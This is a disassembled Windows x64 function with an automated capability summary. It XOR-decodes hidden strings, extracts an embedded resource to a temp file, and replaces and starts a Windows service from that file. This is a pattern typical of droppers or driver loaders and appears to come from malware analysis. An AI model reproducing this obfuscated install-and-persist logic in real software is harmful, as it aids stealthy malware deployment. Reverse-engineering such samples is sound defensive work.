Function at 0x140035d60
Capabilities:
Create service
Delete service
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Start service
Stop service
Write file on windows

Disassembly:
push rbp
push rbx
push rdi
push r14
push r15
lea rbp, [rsp - 0xf0]
sub rsp, 0x1f0
mov rax, qword [0x140112718]
xor rax, rsp
mov qword [rbp + 0xd0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [str.cha3gXW_CSEL9]
xor r15d, r15d
cmp byte [0x1400fa27f], r15b
mov rdi, rax
mov r14d, dword [reloc.WS2_32.dll_accept]
mov eax, 5
mov dword [rbp - 0x80], ecx
lea edx, [rax + 0x1a]
je 0x140035e94
cmp r14d, 2
jl 0x140035e4c
movdqa xmm3, xmmword [0x1400fe540]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400fe720]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400fe720]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, eax
psrad xmm2, xmm0
movd xmm0, edx
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400fe5e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fe670]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000333333333333333355555555555555556666666666666666]
movd xmm0, ecx
xorps xmm2, xmm0
movd dword [rbp - 0x80], xmm2
jmp 0x140035e94
lea r9, [rbp - 0x80]
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140035e60
mov qword [rsp + 0x220], rsi
lea r8, [rbp - 0x80]
mov edx, WSASetLastError
mov qword [rsp + 0x228], r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
je 0x140036416
lea rdx, [rbp - 0x40]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
movzx edx, word [0x1400fa378]
lea r12, [0x140114be0]
movzx ecx, byte [0x1400fa37a]
mov r9, r12
movsd xmm0, qword [str.DT_CPG_A_K:]
xor cl, 0x3a
movsd qword [rsp + 0x70], xmm0
xor r8d, r8d
xor byte [rsp + 0x71], 0x31
xor byte [rsp + 0x72], 0x32
xor byte [rsp + 0x73], 0x33
xor byte [rsp + 0x74], 0x34
xor byte [rsp + 0x75], 0x35
xor byte [rsp + 0x76], 0x36
xor byte [rsp + 0x77], 0x37
mov word [rsp + 0x78], dx
xor dl, 0x38
xor byte [rsp + 0x79], 0x39
mov byte [rsp + 0x78], dl
lea rdx, [rsp + 0x70]
mov byte [rsp + 0x7a], cl
lea rcx, [rbp - 0x40]
mov byte [rsp + 0x70], reloc.WS2_32.dll_WSACleanup
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140036416
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, r12
mov edi, eax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140036416
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], r15
mov r8d, edi
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
test rax, rax
je 0x140036416
cmp byte [reloc.WS2_32.dll_gethostname], r15b
movsd xmm0, qword [0x1400fa280]
movzx ecx, word [0x1400fa288]
movsd qword [rsp + 0x70], xmm0
mov word [rsp + 0x78], cx
mov qword [rsp + 0x230], r13
je 0x140036048
xor byte [rsp + 0x71], 0x31
xor byte [rsp + 0x72], 0x32
xor byte [rsp + 0x73], 0x33
xor byte [rsp + 0x74], 0x34
xor byte [rsp + 0x75], 0x35
xor byte [rsp + 0x76], 0x36
xor byte [rsp + 0x77], 0x37
xor byte [rsp + 0x78], 0x38
xor byte [rsp + 0x79], 0x39
mov byte [rsp + 0x70], 0x57
mov r8d, 0xf01ff
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
movabs rsi, 0x7fffffffc46535fe
movabs r13, 0x7fffffffffffffff
mov rdi, rax
test rax, rax
je 0x140036113
lea r8, [rbp - 0x68]
mov byte [0x140114618], 1
mov edx, 1
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rsi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rsi, 0x989680
jne 0x1400360b3
imul rax, rax, 0x64
jmp 0x1400360d1
cqo
idiv rsi
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rsi
add rax, rcx
movabs rsi, 0x7fffffffc46535fe
cmp rax, rsi
jg 0x1400360ec
add rax, 0x3b9aca00
mov qword [rbp - 0x80], rax
jmp 0x1400360f0
mov qword [rbp - 0x80], r13
lea rcx, [rbp - 0x80]
call fcn.14002d590
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x140036412
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rdi, 0x989680
jne 0x140036131
imul rax, rax, 0x64
jmp 0x14003614f
cqo
idiv rdi
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rsi
jg 0x140036160
add rax, 0x3b9aca00
mov qword [rbp - 0x80], rax
jmp 0x140036164
mov qword [rbp - 0x80], r13
lea rcx, [rbp - 0x80]
call fcn.14002d590
cmp byte [0x1400fa31d], r15b
mov eax, dword [0x1400fa318]
movsd xmm0, qword [str.gXW_CSEL]
mov dword [rbp - 0x78], eax
movzx eax, word [0x1400fa31c]
mov word [rbp - 0x74], ax
movsd qword [rbp - 0x80], xmm0
je 0x1400362ff
mov ecx, r15d
cmp r14d, 2
jl 0x1400362c6
movdqa xmm2, xmmword [0x1400fe540]
mov eax, 5
movdqa xmm3, xmmword [0x1400fe550]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400fe720]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movaps xmmword [rsp + 0x1e0], xmm6
movd xmm6, eax
mov eax, Ordinal_33
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400fe5e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [str.gXW_CSEL]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400fe670]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000333333333333333355555555555555556666666666666666]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp - 0x80], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movaps xmm6, xmmword [rsp + 0x1e0]
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400fe5e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp - 0x7c]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fe670]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000333333333333333355555555555555556666666666666666]
xorps xmm2, xmm0
movd dword [rbp - 0x7c], xmm2
movsxd rax, ecx
lea r8, [rbp - 0x80]
add r8, rax
mov eax, 0x8d3dcb09
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
inc ecx
sub al, dl
add al, 0x30
xor byte [r8 - 1], al
cmp ecx, 0xe
jl 0x1400362d0
cmp byte [reloc.WS2_32.dll_gethostname], r15b
movsd xmm0, qword [0x1400fa280]
movzx eax, word [0x1400fa288]
movsd qword [rsp + 0x70], xmm0
mov word [rsp + 0x78], ax
je 0x140036354
xor byte [rsp + 0x71], 0x31
xor byte [rsp + 0x72], 0x32
xor byte [rsp + 0x73], 0x33
xor byte [rsp + 0x74], 0x34
xor byte [rsp + 0x75], 0x35
xor byte [rsp + 0x76], 0x36
xor byte [rsp + 0x77], 0x37
xor byte [rsp + 0x78], 0x38
xor byte [rsp + 0x79], 0x39
mov byte [rsp + 0x70], 0x57
mov qword [rsp + 0x60], r15
lea r8, [rbp - 0x80]
mov qword [rsp + 0x58], r15
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x50], r15
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x48], r15
mov rcx, rbx
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rdi, rax
test rax, rax
je 0x1400363c2
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
mov rcx, rdi
test eax, eax
jne 0x140036403
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
mov r13, qword [rsp + 0x230]
mov r12, qword [rsp + 0x228]
mov rsi, qword [rsp + 0x220]
mov rcx, qword [rbp + 0xd0]
xor rcx, rsp
call fcn.1400c1540
add rsp, 0x1f0
pop r15
pop r14
pop rdi
pop rbx
pop rbp
ret
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, 1
jmp 0x1400363cd
xor al, al
jmp 0x1400363d5